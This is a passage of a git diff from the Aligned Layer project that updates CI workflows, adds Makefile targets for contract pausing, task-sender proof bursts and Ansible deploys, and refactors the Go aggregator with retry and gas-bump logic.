diff --git a/.dockerignore b/.dockerignore index 782ce2f03..3ceab5ccd 100644 --- a/.dockerignore +++ b/.dockerignore @@ -11,4 +11,4 @@ volume nonce_*.bin docker-compose.yaml .github/** -**.md +**.md \ No newline at end of file diff --git a/.github/workflows/build-and-test-go.yml b/.github/workflows/build-and-test-go.yml index 76ac17ab4..df306e755 100644 --- a/.github/workflows/build-and-test-go.yml +++ b/.github/workflows/build-and-test-go.yml @@ -1,7 +1,6 @@ name: build-go-projects on: - merge_group: push: branches: [main] pull_request: @@ -23,8 +22,10 @@ jobs: - uses: actions/checkout@v4 - uses: actions/setup-go@v5 with: - go-version: "1.22" + go-version: "1.23" cache: false + - name: foundry-toolchain + uses: foundry-rs/foundry-toolchain@v1.2.0 - name: Build SP1 bindings run: make build_sp1_linux - name: Build Old SP1 bindings @@ -39,4 +40,3 @@ jobs: run: go build operator/cmd/main.go - name: Build aggregator run: go build aggregator/cmd/main.go - diff --git a/.github/workflows/build-and-test-rust.yml b/.github/workflows/build-and-test-rust.yml index 2ba2a6739..705f7f73f 100644 --- a/.github/workflows/build-and-test-rust.yml +++ b/.github/workflows/build-and-test-rust.yml @@ -1,7 +1,6 @@ name: build-and-test-rust-projects on: - merge_group: push: branches: [main] pull_request: @@ -52,6 +51,8 @@ jobs: steps: - name: Checkout code uses: actions/checkout@v4 + - name: foundry-toolchain + uses: foundry-rs/foundry-toolchain@v1.2.0 - name: Cache Rust dependencies uses: actions/cache@v3 with: diff --git a/.github/workflows/send-proofs-docker.yml b/.github/workflows/send-proofs-docker.yml index 070ca2576..90baf786f 100644 --- a/.github/workflows/send-proofs-docker.yml +++ b/.github/workflows/send-proofs-docker.yml @@ -1,6 +1,7 @@ name: "[CI] Send proofs to network" on: + merge_group: pull_request: types: - opened @@ -23,7 +24,7 @@ jobs: steps: - name: Log in to GitHub Container Registry - uses: docker/login-action@v2 + uses: docker/login-action@v3 with: registry: ghcr.io username: ${{ github.actor }} diff --git a/.github/workflows/test-go-retries.yml b/.github/workflows/test-go-retries.yml new file mode 100644 index 000000000..175ea1067 --- /dev/null +++ b/.github/workflows/test-go-retries.yml @@ -0,0 +1,36 @@ +name: test-go-retries + +on: + push: + branches: [main] + pull_request: + branches: ["*"] + paths: + - 'core/**' + - '.github/workflows/test-go-retries.yml' + +jobs: + test: + runs-on: ubuntu-latest + steps: + - name: Clear device space + run: | + sudo rm -rf "$AGENT_TOOLSDIRECTORY" + sudo rm -rf /usr/local/lib/android + sudo rm -rf /opt/ghc + sudo rm -rf /usr/local/.ghcup + sudo rm -rf /usr/share/dotnet + sudo rm -rf /opt/ghc + sudo rm -rf "/usr/local/share/boost" + - uses: actions/checkout@v4 + - uses: actions/setup-go@v5 + with: + go-version: '1.22' + cache: false + - uses: actions-rs/toolchain@v1 + with: + toolchain: stable + - name: foundry-toolchain + uses: foundry-rs/foundry-toolchain@v1.2.0 + - name: Test go Retry Functions + run: make test_go_retries \ No newline at end of file diff --git a/.github/workflows/test-merkle-tree.yml b/.github/workflows/test-merkle-tree.yml index 835eb680d..0f2fa0280 100644 --- a/.github/workflows/test-merkle-tree.yml +++ b/.github/workflows/test-merkle-tree.yml @@ -1,7 +1,6 @@ name: test-merkle-tree on: - merge_group: push: branches: [main] pull_request: diff --git a/.github/workflows/test-risc-zero-old.yml b/.github/workflows/test-risc-zero-old.yml index 5bc6042fb..fa0a61dae 100644 --- a/.github/workflows/test-risc-zero-old.yml +++ b/.github/workflows/test-risc-zero-old.yml @@ -1,7 +1,6 @@ name: test-risc-zero-old on: - merge_group: push: branches: [main] pull_request: @@ -26,7 +25,7 @@ jobs: - uses: actions/checkout@v4 - uses: actions/setup-go@v5 with: - go-version: "1.22" + go-version: "1.23" cache: false - uses: actions-rs/toolchain@v1 with: diff --git a/.github/workflows/test-risc-zero.yml b/.github/workflows/test-risc-zero.yml index cbd8e644f..081fcdc51 100644 --- a/.github/workflows/test-risc-zero.yml +++ b/.github/workflows/test-risc-zero.yml @@ -1,7 +1,6 @@ name: test-risc-zero on: - merge_group: push: branches: [main] pull_request: @@ -26,7 +25,7 @@ jobs: - uses: actions/checkout@v4 - uses: actions/setup-go@v5 with: - go-version: "1.22" + go-version: "1.23" cache: false - uses: actions-rs/toolchain@v1 with: diff --git a/.github/workflows/test-sp1-old.yml b/.github/workflows/test-sp1-old.yml index 717ad63e4..f97d03133 100644 --- a/.github/workflows/test-sp1-old.yml +++ b/.github/workflows/test-sp1-old.yml @@ -1,7 +1,6 @@ name: test-sp1-old on: - merge_group: push: branches: [main] pull_request: @@ -22,7 +21,7 @@ jobs: - uses: actions-rs/toolchain@v1 with: toolchain: stable - - name: Test Old SP1 Rust - run: make test_sp1_rust_ffi_old - name: Test Old SP1 go bindings run: make test_sp1_go_bindings_linux_old + - name: Test Old SP1 Rust + run: make test_sp1_rust_ffi_old diff --git a/.github/workflows/test-sp1.yml b/.github/workflows/test-sp1.yml index e865b1e65..23fe351ce 100644 --- a/.github/workflows/test-sp1.yml +++ b/.github/workflows/test-sp1.yml @@ -1,7 +1,6 @@ name: test-sp1 on: - merge_group: push: branches: [main] pull_request: diff --git a/.gitignore b/.gitignore index 28c8fa531..2bfa8cf5b 100644 --- a/.gitignore +++ b/.gitignore @@ -14,3 +14,5 @@ volume config-files/*.last_processed_batch.json nonce_*.bin + +infra/ansible/playbooks/ini/**.ini diff --git a/Makefile b/Makefile index 5449c743b..213ef2979 100644 --- a/Makefile +++ b/Makefile @@ -17,7 +17,8 @@ ifeq ($(OS),Darwin) endif ifeq ($(OS),Linux) - LD_LIBRARY_PATH+=$(CURDIR)/operator/risc_zero_old/lib:$(CURDIR)/operator/risc_zero/lib + export LD_LIBRARY_PATH+=$(CURDIR)/operator/risc_zero_old/lib:$(CURDIR)/operator/risc_zero/lib + OPERATOR_FFIS=$(CURDIR)/operator/risc_zero_old/lib:$(CURDIR)/operator/risc_zero/lib endif ifeq ($(OS),Linux) @@ -93,6 +94,29 @@ anvil_upgrade_add_aggregator: @echo "Adding Aggregator to Aligned Contracts..." . contracts/scripts/anvil/upgrade_add_aggregator_to_service_manager.sh +pause_all_aligned_service_manager: + @echo "Pausing all contracts..." + . contracts/scripts/pause_aligned_service_manager.sh all + +unpause_all_aligned_service_manager: + @echo "Pausing all contracts..." + . contracts/scripts/unpause_aligned_service_manager.sh all + +get_paused_state_aligned_service_manager: + @echo "Getting paused state of Aligned Service Manager contract..." + . contracts/scripts/get_paused_state_aligned_service_manager.sh + +pause_batcher_payment_service: + @echo "Pausing BatcherPayments contract..." + . contracts/scripts/pause_batcher_payment_service.sh + +unpause_batcher_payment_service: + @echo "Unpausing BatcherPayments contract..." + . contracts/scripts/unpause_batcher_payment_service.sh + +get_paused_state_batcher_payments_service: + @echo "Getting paused state of Batcher Payments Service contract..." + . contracts/scripts/get_paused_state_batcher_payments_service.sh anvil_upgrade_initialize_disable_verifiers: @echo "Initializing disabled verifiers..." . contracts/scripts/anvil/upgrade_disabled_verifiers_in_service_manager.sh @@ -108,6 +132,10 @@ anvil_start_with_block_time: @echo "Starting Anvil..." anvil --load-state contracts/scripts/anvil/state/alignedlayer-deployed-anvil-state.json --block-time 7 +anvil_start_with_block_time_with_more_prefunded_accounts: + @echo "Starting Anvil..." + anvil --load-state contracts/scripts/anvil/state/alignedlayer-deployed-anvil-state.json --block-time 7 -a 2000 + _AGGREGATOR_: aggregator_start: @@ -119,6 +147,9 @@ aggregator_send_dummy_responses: @echo "Sending dummy responses to Aggregator..." @cd aggregator && go run dummy/submit_task_responses.go +test_go_retries: + @cd core/ && \ + go test -v -timeout 15m __OPERATOR__: @@ -141,7 +172,7 @@ build_operator_macos: build_operator_linux: @echo "Building Operator..." - @go build -ldflags "-X main.Version=$(OPERATOR_VERSION) -r $(LD_LIBRARY_PATH)" -o ./operator/build/aligned-operator ./operator/cmd/main.go + @go build -ldflags "-X main.Version=$(OPERATOR_VERSION) -r $(OPERATOR_FFIS)" -o ./operator/build/aligned-operator ./operator/cmd/main.go @echo "Operator built into /operator/build/aligned-operator" update_operator: @@ -168,7 +199,7 @@ bindings: cd contracts && ./generate-go-bindings.sh test: - go test ./... + go test ./... -timeout 15m get_delegation_manager_address: @@ -220,11 +251,15 @@ operator_deposit_into_mock_strategy: --strategy-address $(STRATEGY_ADDRESS) \ --amount 100000000000000000 + +AMOUNT ?= 1000 + operator_deposit_into_strategy: @echo "Depositing into strategy" @go run operator/cmd/main.go deposit-into-strategy \ --config $(CONFIG_FILE) \ - --amount 1000 + --strategy-address $(STRATEGY_ADDRESS) \ + --amount $(AMOUNT) operator_register_with_aligned_layer: @echo "Registering operator with AlignedLayer" @@ -253,7 +288,7 @@ verifier_disable: __BATCHER__: -BURST_SIZE=5 +BURST_SIZE ?= 5 user_fund_payment_service: @. ./scripts/user_fund_payment_service_devnet.sh @@ -270,6 +305,11 @@ batcher_start_local: user_fund_payment_service @$(MAKE) run_storage & @cargo run --manifest-path ./batcher/aligned-batcher/Cargo.toml --release -- --config ./config-files/config-batcher.yaml --env-file ./batcher/aligned-batcher/.env.dev +batcher_start_local_no_fund: + @echo "Starting Batcher..." + @$(MAKE) run_storage & + @cargo run --manifest-path ./batcher/aligned-batcher/Cargo.toml --release -- --config ./config-files/config-batcher.yaml --env-file ./batcher/aligned-batcher/.env.dev + install_batcher: @cargo install --path batcher/aligned-batcher @@ -336,7 +376,7 @@ batcher_send_risc0_task_no_pub_input: --vm_program ../../scripts/test_files/risc_zero/no_public_inputs/no_pub_input_id.bin \ --proof_generator_addr 0x66f9664f97F2b50F62D13eA064982f936dE76657 \ --rpc_url $(RPC_URL) \ - --payment_service_addr $(BATCHER_PAYMENTS_CONTRACT_ADDRESS) + --network $(NETWORK) batcher_send_risc0_burst: @echo "Sending Risc0 fibonacci task to Batcher..." @@ -370,7 +410,7 @@ batcher_send_plonk_bn254_burst: batcher/target/release/aligned --vk ../../scripts/test_files/gnark_plonk_bn254_script/plonk.vk \ --proof_generator_addr 0x66f9664f97F2b50F62D13eA064982f936dE76657 \ --rpc_url $(RPC_URL) \ - --repetitions 4 \ + --repetitions $(BURST_SIZE) \ --network $(NETWORK) batcher_send_plonk_bls12_381_task: batcher/target/release/aligned @@ -417,6 +457,82 @@ batcher_send_burst_groth16: batcher/target/release/aligned @mkdir -p scripts/test_files/gnark_groth16_bn254_infinite_script/infinite_proofs @./batcher/aligned/send_burst_tasks.sh $(BURST_SIZE) $(START_COUNTER) + +__TASK_SENDER__: +BURST_TIME_SECS ?= 3 + +task_sender_generate_groth16_proofs: + @cd batcher/aligned-task-sender && \ + cargo run --release -- generate-proofs \ + --number-of-proofs $(NUMBER_OF_PROOFS) --proof-type groth16 \ + --dir-to-save-proofs $(CURDIR)/scripts/test_files/task_sender/proofs + +# ===== DEVNET ===== +task_sender_fund_wallets_devnet: + @cd batcher/aligned-task-sender && \ + cargo run --release -- generate-and-fund-wallets \ + --eth-rpc-url http://localhost:8545 \ + --network devnet \ + --amount-to-deposit 1 \ + --amount-to-deposit-to-aligned 0.9999 \ + --private-keys-filepath $(CURDIR)/batcher/aligned-task-sender/wallets/devnet + +task_sender_send_infinite_proofs_devnet: + @cd batcher/aligned-task-sender && \ + cargo run --release -- send-infinite-proofs \ + --burst-size $(BURST_SIZE) --burst-time-secs $(BURST_TIME_SECS) \ + --eth-rpc-url http://localhost:8545 \ + --batcher-url ws://localhost:8080 \ + --network devnet \ + --proofs-dirpath $(CURDIR)/scripts/test_files/task_sender/proofs \ + --private-keys-filepath $(CURDIR)/batcher/aligned-task-sender/wallets/devnet + +task_sender_test_connections_devnet: + @cd batcher/aligned-task-sender && \ + cargo run --release -- test-connections \ + --batcher-url ws://localhost:8080 \ + --num-senders $(NUM_SENDERS) + +# ===== HOLESKY-STAGE ===== +task_sender_generate_and_fund_wallets_holesky_stage: + @cd batcher/aligned-task-sender && \ + cargo run --release -- generate-and-fund-wallets \ + --eth-rpc-url https://ethereum-holesky-rpc.publicnode.com \ + --network holesky-stage \ + --funding-wallet-private-key $(FUNDING_WALLET_PRIVATE_KEY) \ + --number-wallets $(NUM_WALLETS) \ + --amount-to-deposit $(AMOUNT_TO_DEPOSIT) \ + --amount-to-deposit-to-aligned $(AMOUNT_TO_DEPOSIT_TO_ALIGNED) \ + --private-keys-filepath $(CURDIR)/batcher/aligned-task-sender/wallets/holesky-stage + +task_sender_send_infinite_proofs_holesky_stage: + @cd batcher/aligned-task-sender && \ + cargo run --release -- send-infinite-proofs \ + --burst-size $(BURST_SIZE) --burst-time-secs $(BURST_TIME_SECS) \ + --eth-rpc-url https://ethereum-holesky-rpc.publicnode.com \ + --batcher-url wss://stage.batcher.alignedlayer.com \ + --network holesky-stage \ + --proofs-dirpath $(CURDIR)/scripts/test_files/task_sender/proofs \ + --private-keys-filepath $(CURDIR)/batcher/aligned-task-sender/wallets/holesky-stage + +task_sender_test_connections_holesky_stage: + @cd batcher/aligned-task-sender && \ + cargo run --release -- test-connections \ + --batcher-url wss://stage.batcher.alignedlayer.com \ + --num-senders $(NUM_SENDERS) + +__UTILS__: +aligned_get_user_balance_devnet: + @cd batcher/aligned/ && cargo run --release -- get-user-balance \ + --user_addr $(USER_ADDR) + +aligned_get_user_balance_holesky: + @cd batcher/aligned/ && cargo run --release -- get-user-balance \ + --rpc_url https://ethereum-holesky-rpc.publicnode.com \ + --network holesky \ + --user_addr $(USER_ADDR) + + __GENERATE_PROOFS__: # TODO add a default proving system @@ -452,10 +568,18 @@ deploy_aligned_contracts: ## Deploy Aligned Contracts @echo "Deploying Aligned Contracts..." @. contracts/scripts/.env && . contracts/scripts/deploy_aligned_contracts.sh +deploy_pauser_registry: ## Deploy Pauser Registry + @echo "Deploying Pauser Registry..." + @. contracts/scripts/.env && . contracts/scripts/deploy_pauser_registry.sh + upgrade_aligned_contracts: ## Upgrade Aligned Contracts @echo "Upgrading Aligned Contracts..." @. contracts/scripts/.env && . contracts/scripts/upgrade_aligned_contracts.sh +upgrade_pauser_aligned_contracts: ## Upgrade Aligned Contracts with Pauser initialization + @echo "Upgrading Aligned Contracts with Pauser initialization..." + @. contracts/scripts/.env && . contracts/scripts/upgrade_add_pausable_to_service_manager.sh + upgrade_registry_coordinator: ## Upgrade Registry Coordinator @echo "Upgrading Registry Coordinator..." @. contracts/scripts/.env && . contracts/scripts/upgrade_registry_coordinator.sh @@ -662,6 +786,13 @@ build_all_ffi_linux: ## Build all FFIs for Linux @echo "All Linux FFIs built successfully." __EXPLORER__: + +run_explorer_without_docker_db: explorer_ecto_setup_db + @cd explorer/ && \ + pnpm install --prefix assets && \ + mix setup && \ + ./start.sh + run_explorer: explorer_run_db explorer_ecto_setup_db @cd explorer/ && \ pnpm install --prefix assets && \ @@ -976,11 +1107,11 @@ open_telemetry_prod_start: ## Run open telemetry services with Cassandra using t # Elixir API telemetry_start: telemetry_run_db telemetry_ecto_migrate ## Run Telemetry API @cd telemetry_api && \ - ./start.sh + ./start.sh telemetry_ecto_migrate: ## @cd telemetry_api && \ - ./ecto_setup_db.sh + ./ecto_setup_db.sh telemetry_build_db: @cd telemetry_api && \ @@ -1005,3 +1136,74 @@ telemetry_dump_db: telemetry_create_env: @cd telemetry_api && \ cp .env.dev .env + +setup_local_aligned_all: + tmux kill-session -t aligned_layer || true + tmux new-session -d -s aligned_layer + + tmux new-window -t aligned_layer -n anvil + tmux send-keys -t aligned_layer 'make anvil_start_with_block_time' C-m + + tmux new-window -t aligned_layer -n aggregator + tmux send-keys -t aligned_layer:aggregator 'make aggregator_start' C-m + + tmux new-window -t aligned_layer -n operator + tmux send-keys -t aligned_layer:operator 'sleep 5 && make operator_register_and_start' C-m + + tmux new-window -t aligned_layer -n batcher + tmux send-keys -t aligned_layer:batcher 'sleep 60 && make batcher_start_local' C-m + + tmux new-window -t aligned_layer -n explorer + tmux send-keys -t aligned_layer:explorer 'make explorer_create_env && make explorer_build_db && make run_explorer' C-m + + tmux new-window -t aligned_layer -n telemetry + tmux send-keys -t aligned_layer:telemetry 'docker compose -f telemetry-docker-compose.yaml down && make telemetry_create_env && make telemetry_run_db && make open_telemetry_start && make telemetry_start' C-m + +__ANSIBLE__: ## ____ + +ansible_batcher_create_env: ## Create empty variables files for the Batcher deploy + @cp -n infra/ansible/playbooks/ini/caddy-batcher.ini.example infra/ansible/playbooks/ini/caddy-batcher.ini + @cp -n infra/ansible/playbooks/ini/config-batcher.ini.example infra/ansible/playbooks/ini/config-batcher.ini + @cp -n infra/ansible/playbooks/ini/env-batcher.ini.example infra/ansible/playbooks/ini/env-batcher.ini + @echo "Config files for the Batcher created in infra/ansible/playbooks/ini" + @echo "Please complete the values and run make ansible_batcher_deploy" + +ansible_batcher_deploy: ## Deploy the Batcher. Parameters: INVENTORY, KEYSTORE + @if [ -z "$(INVENTORY)" ] || [ -z "$(KEYSTORE)" ]; then \ + echo "Error: Both INVENTORY and KEYSTORE must be set."; \ + exit 1; \ + fi + @ansible-playbook infra/ansible/playbooks/batcher.yaml \ + -i $(INVENTORY) \ + -e "keystore_path=$(KEYSTORE)" + +ansible_aggregator_create_env: ## Create empty variables files for the Aggregator deploy + @cp -n infra/ansible/playbooks/ini/config-aggregator.ini.example infra/ansible/playbooks/ini/config-aggregator.ini + @echo "Config files for the Aggregator created in infra/ansible/playbooks/ini" + @echo "Please complete the values and run make ansible_aggregator_deploy" + +ansible_aggregator_deploy: ## Deploy the Operator. Parameters: INVENTORY + @if [ -z "$(INVENTORY)" ] || [ -z "$(ECDSA_KEYSTORE)" ] || [ -z "$(BLS_KEYSTORE)" ]; then \ + echo "Error: INVENTORY, ECDSA_KEYSTORE, BLS_KEYSTORE must be set."; \ + exit 1; \ + fi + @ansible-playbook infra/ansible/playbooks/aggregator.yaml \ + -i $(INVENTORY) \ + -e "ecdsa_keystore_path=$(ECDSA_KEYSTORE)" \ + -e "bls_keystore_path=$(BLS_KEYSTORE)" + +ansible_operator_create_env: ## Create empty variables files for the Operator deploy + @cp -n infra/ansible/playbooks/ini/config-operator.ini.example infra/ansible/playbooks/ini/config-operator.ini + @cp -n infra/ansible/playbooks/ini/config-register-operator.ini.example infra/ansible/playbooks/ini/config-register-operator.ini + @echo "Config files for the Operator created in infra/ansible/playbooks/ini" + @echo "Please complete the values and run make ansible_operator_deploy" + +ansible_operator_deploy: ## Deploy the Operator. Parameters: INVENTORY + @if [ -z "$(INVENTORY)" ] || [ -z "$(ECDSA_KEYSTORE)" ] || [ -z "$(BLS_KEYSTORE)" ]; then \ + echo "Error: INVENTORY, ECDSA_KEYSTORE, BLS_KEYSTORE must be set."; \ + exit 1; \ + fi + @ansible-playbook infra/ansible/playbooks/operator.yaml \ + -i $(INVENTORY) \ + -e "ecdsa_keystore_path=$(ECDSA_KEYSTORE)" \ + -e "bls_keystore_path=$(BLS_KEYSTORE)" diff --git a/aggregator/cmd/main.go b/aggregator/cmd/main.go index 4e02ff206..37ab559e0 100644 --- a/aggregator/cmd/main.go +++ b/aggregator/cmd/main.go @@ -7,7 +7,7 @@ import ( "os" "github.com/urfave/cli/v2" - "github.com/yetanotherco/aligned_layer/aggregator/internal/pkg" + "github.com/yetanotherco/aligned_layer/aggregator/pkg" "github.com/yetanotherco/aligned_layer/core/config" ) diff --git a/aggregator/internal/pkg/aggregator.go b/aggregator/pkg/aggregator.go similarity index 83% rename from aggregator/internal/pkg/aggregator.go rename to aggregator/pkg/aggregator.go index 6dc469c09..cc3bb3644 100644 --- a/aggregator/internal/pkg/aggregator.go +++ b/aggregator/pkg/aggregator.go @@ -4,12 +4,15 @@ import ( "context" "encoding/hex" "fmt" + "math/big" + "strings" "sync" "time" gethtypes "github.com/ethereum/go-ethereum/core/types" "github.com/prometheus/client_golang/prometheus" + retry "github.com/yetanotherco/aligned_layer/core" "github.com/yetanotherco/aligned_layer/metrics" sdkclients "github.com/Layr-Labs/eigensdk-go/chainio/clients" @@ -71,7 +74,12 @@ type Aggregator struct { // Note: In case of a reboot it can start from 0 again nextBatchIndex uint32 - // Mutex to protect batchesIdentifierHashByIdx, batchesIdxByIdentifierHash and nextBatchIndex + // Mutex to protect: + // - batchesIdentifierHashByIdx + // - batchesIdxByIdentifierHash + // - batchCreatedBlockByIdx + // - batchDataByIdentifierHash + // - nextBatchIndex taskMutex *sync.Mutex // Mutex to protect ethereum wallet @@ -90,6 +98,15 @@ type Aggregator struct { func NewAggregator(aggregatorConfig config.AggregatorConfig) (*Aggregator, error) { newBatchChan := make(chan *servicemanager.ContractAlignedLayerServiceManagerNewBatchV3) + logger := aggregatorConfig.BaseConfig.Logger + + // Metrics + reg := prometheus.NewRegistry() + aggregatorMetrics := metrics.NewMetrics(aggregatorConfig.Aggregator.MetricsIpPortAddress, reg, logger) + + // Telemetry + aggregatorTelemetry := NewTelemetry(aggregatorConfig.Aggregator.TelemetryIpPortAddress, logger) + avsReader, err := chainio.NewAvsReaderFromConfig(aggregatorConfig.BaseConfig, aggregatorConfig.EcdsaConfig) if err != nil { return nil, err @@ -100,7 +117,7 @@ func NewAggregator(aggregatorConfig config.AggregatorConfig) (*Aggregator, error return nil, err } - avsWriter, err := chainio.NewAvsWriterFromConfig(aggregatorConfig.BaseConfig, aggregatorConfig.EcdsaConfig) + avsWriter, err := chainio.NewAvsWriterFromConfig(aggregatorConfig.BaseConfig, aggregatorConfig.EcdsaConfig, aggregatorMetrics) if err != nil { return nil, err } @@ -121,7 +138,6 @@ func NewAggregator(aggregatorConfig config.AggregatorConfig) (*Aggregator, error aggregatorPrivateKey := aggregatorConfig.EcdsaConfig.PrivateKey - logger := aggregatorConfig.BaseConfig.Logger clients, err := sdkclients.BuildAll(chainioConfig, aggregatorPrivateKey, logger) if err != nil { logger.Errorf("Cannot create sdk clients", "err", err) @@ -147,13 +163,6 @@ func NewAggregator(aggregatorConfig config.AggregatorConfig) (*Aggregator, error avsRegistryService := avsregistry.NewAvsRegistryServiceChainCaller(avsReader.ChainReader, operatorPubkeysService, logger) blsAggregationService := blsagg.NewBlsAggregatorService(avsRegistryService, hashFunction, logger) - // Metrics - reg := prometheus.NewRegistry() - aggregatorMetrics := metrics.NewMetrics(aggregatorConfig.Aggregator.MetricsIpPortAddress, reg, logger) - - // Telemetry - aggregatorTelemetry := NewTelemetry(aggregatorConfig.Aggregator.TelemetryIpPortAddress, logger) - nextBatchIndex := uint32(0) aggregator := Aggregator{ @@ -215,9 +224,14 @@ func (agg *Aggregator) Start(ctx context.Context) error { const MaxSentTxRetries = 5 -const BLS_AGG_SERVICE_TIMEOUT = 100 * time.Second - func (agg *Aggregator) handleBlsAggServiceResponse(blsAggServiceResp blsagg.BlsAggregationServiceResponse) { + defer func() { + err := recover() //stops panics + if err != nil { + agg.logger.Error("handleBlsAggServiceResponse recovered from panic", "err", err) + } + }() + agg.taskMutex.Lock() agg.AggregatorConfig.BaseConfig.Logger.Info("- Locked Resources: Fetching task data") batchIdentifierHash := agg.batchesIdentifierHashByIdx[blsAggServiceResp.TaskIndex] @@ -270,19 +284,20 @@ func (agg *Aggregator) handleBlsAggServiceResponse(blsAggServiceResp blsagg.BlsA } agg.logger.Info("Sending aggregated response onchain", "taskIndex", blsAggServiceResp.TaskIndex, - "batchIdentifierHash", "0x"+hex.EncodeToString(batchIdentifierHash[:])) - for i := 0; i < MaxSentTxRetries; i++ { - _, err = agg.sendAggregatedResponse(batchIdentifierHash, batchData.BatchMerkleRoot, batchData.SenderAddress, nonSignerStakesAndSignature) - if err == nil { - agg.logger.Info("Aggregator successfully responded to task", - "taskIndex", blsAggServiceResp.TaskIndex, - "batchIdentifierHash", "0x"+hex.EncodeToString(batchIdentifierHash[:])) - - return + "batchIdentifierHash", "0x"+hex.EncodeToString(batchIdentifierHash[:]), "merkleRoot", "0x"+hex.EncodeToString(batchData.BatchMerkleRoot[:])) + receipt, err := agg.sendAggregatedResponse(batchIdentifierHash, batchData.BatchMerkleRoot, batchData.SenderAddress, nonSignerStakesAndSignature) + if err == nil { + // In some cases, we may fail to retrieve the receipt for the transaction. + txHash := "Unknown" + if receipt != nil { + txHash = receipt.TxHash.String() } + agg.telemetry.TaskSentToEthereum(batchData.BatchMerkleRoot, txHash) + agg.logger.Info("Aggregator successfully responded to task", + "taskIndex", blsAggServiceResp.TaskIndex, + "batchIdentifierHash", "0x"+hex.EncodeToString(batchIdentifierHash[:])) - // Sleep for a bit before retrying - time.Sleep(2 * time.Second) + return } agg.logger.Error("Aggregator failed to respond to task, this batch will be lost", @@ -304,7 +319,21 @@ func (agg *Aggregator) sendAggregatedResponse(batchIdentifierHash [32]byte, batc "senderAddress", hex.EncodeToString(senderAddress[:]), "batchIdentifierHash", hex.EncodeToString(batchIdentifierHash[:])) - txHash, err := agg.avsWriter.SendAggregatedResponse(batchIdentifierHash, batchMerkleRoot, senderAddress, nonSignerStakesAndSignature) + // This function is a callback that is called when the gas price is bumped on the avsWriter.SendAggregatedResponse + onGasPriceBumped := func(bumpedGasPrice *big.Int) { + agg.metrics.IncBumpedGasPriceForAggregatedResponse() + agg.telemetry.BumpedTaskGasPrice(batchMerkleRoot, bumpedGasPrice.String()) + } + receipt, err := agg.avsWriter.SendAggregatedResponse( + batchIdentifierHash, + batchMerkleRoot, + senderAddress, + nonSignerStakesAndSignature, + agg.AggregatorConfig.Aggregator.GasBaseBumpPercentage, + agg.AggregatorConfig.Aggregator.GasBumpIncrementalPercentage, + agg.AggregatorConfig.Aggregator.TimeToWaitBeforeBump, + onGasPriceBumped, + ) if err != nil { agg.walletMutex.Unlock() agg.logger.Infof("- Unlocked Wallet Resources: Error sending aggregated response for batch %s. Error: %s", hex.EncodeToString(batchIdentifierHash[:]), err) @@ -315,13 +344,6 @@ func (agg *Aggregator) sendAggregatedResponse(batchIdentifierHash [32]byte, batc agg.walletMutex.Unlock() agg.logger.Infof("- Unlocked Wallet Resources: Sending aggregated response for batch %s", hex.EncodeToString(batchIdentifierHash[:])) - receipt, err := utils.WaitForTransactionReceipt( - agg.AggregatorConfig.BaseConfig.EthRpcClient, context.Background(), *txHash) - if err != nil { - agg.telemetry.LogTaskError(batchMerkleRoot, err) - return nil, err - } - agg.metrics.IncAggregatedResponses() return receipt, nil @@ -374,8 +396,7 @@ func (agg *Aggregator) AddNewTask(batchMerkleRoot [32]byte, senderAddress [20]by quorumNums := eigentypes.QuorumNums{eigentypes.QuorumNum(QUORUM_NUMBER)} quorumThresholdPercentages := eigentypes.QuorumThresholdPercentages{eigentypes.QuorumThresholdPercentage(QUORUM_THRESHOLD)} - err := agg.blsAggregationService.InitializeNewTask(batchIndex, taskCreatedBlock, quorumNums, quorumThresholdPercentages, BLS_AGG_SERVICE_TIMEOUT) - // FIXME(marian): When this errors, should we retry initializing new task? Logging fatal for now. + err := agg.InitializeNewTaskRetryable(batchIndex, taskCreatedBlock, quorumNums, quorumThresholdPercentages, agg.AggregatorConfig.Aggregator.BlsServiceTaskTimeout) if err != nil { agg.logger.Fatalf("BLS aggregation service error when initializing new task: %s", err) } @@ -386,6 +407,32 @@ func (agg *Aggregator) AddNewTask(batchMerkleRoot [32]byte, senderAddress [20]by agg.logger.Info("New task added", "batchIndex", batchIndex, "batchIdentifierHash", "0x"+hex.EncodeToString(batchIdentifierHash[:])) } +// |---RETRYABLE---| + +/* +InitializeNewTaskRetryable +Initialize a new task in the BLS Aggregation service + - Errors: + Permanent: + - TaskAlreadyInitializedError (Permanent): Task is already intialized in the BLS Aggregation service (https://github.com/Layr-Labs/eigensdk-go/blob/dev/services/bls_aggregation/blsagg.go#L27). + Transient: + - All others. + - Retry times (3 retries): 1 sec, 2 sec, 4 sec +*/ +func (agg *Aggregator) InitializeNewTaskRetryable(batchIndex uint32, taskCreatedBlock uint32, quorumNums eigentypes.QuorumNums, quorumThresholdPercentages eigentypes.QuorumThresholdPercentages, timeToExpiry time.Duration) error { + initializeNewTask_func := func() error { + err := agg.blsAggregationService.InitializeNewTask(batchIndex, taskCreatedBlock, quorumNums, quorumThresholdPercentages, timeToExpiry) + if err != nil { + // Task is already initialized + if strings.Contains(err.Error(), "already initialized") { + err = retry.PermanentError{Inner: err} + } + } + return err + } + return retry.Retry(initializeNewTask_func, retry.MinDelay, retry.RetryFactor, retry.NumRetries, retry.MaxInterval, retry.MaxElapsedTime) +} + // Long-lived goroutine that periodically checks and removes old Tasks from stored Maps // It runs every GarbageCollectorPeriod and removes all tasks older than GarbageCollectorTasksAge // This was added because each task occupies memory in the maps, and we need to free it to avoid a memory leak @@ -393,7 +440,7 @@ func (agg *Aggregator) ClearTasksFromMaps() { defer func() { err := recover() //stops panics if err != nil { - agg.logger.Error("Recovered from panic", "err", err) + agg.logger.Error("ClearTasksFromMaps Recovered from panic", "err", err) } }() @@ -413,6 +460,8 @@ func (agg *Aggregator) ClearTasksFromMaps() { agg.logger.Warn("No old tasks found") continue // Retry in the next iteration } + agg.taskMutex.Lock() + agg.AggregatorConfig.BaseConfig.Logger.Info("- Locked Resources: Cleaning finalized tasks") taskIdxToDelete := agg.batchesIdxByIdentifierHash[*oldTaskIdHash] agg.logger.Info("Old task found", "taskIndex", taskIdxToDelete) @@ -430,6 +479,8 @@ func (agg *Aggregator) ClearTasksFromMaps() { } } lastIdxDeleted = taskIdxToDelete + agg.taskMutex.Unlock() + agg.AggregatorConfig.BaseConfig.Logger.Info("- Unlocked Resources: Cleaning finalized tasks") agg.AggregatorConfig.BaseConfig.Logger.Info("Done cleaning finalized tasks from maps") } } diff --git a/aggregator/internal/pkg/server.go b/aggregator/pkg/server.go similarity index 67% rename from aggregator/internal/pkg/server.go rename to aggregator/pkg/server.go index b4f1867cf..0c3ee5c8b 100644 --- a/aggregator/internal/pkg/server.go +++ b/aggregator/pkg/server.go @@ -3,16 +3,18 @@ package pkg import ( "context" "encoding/hex" 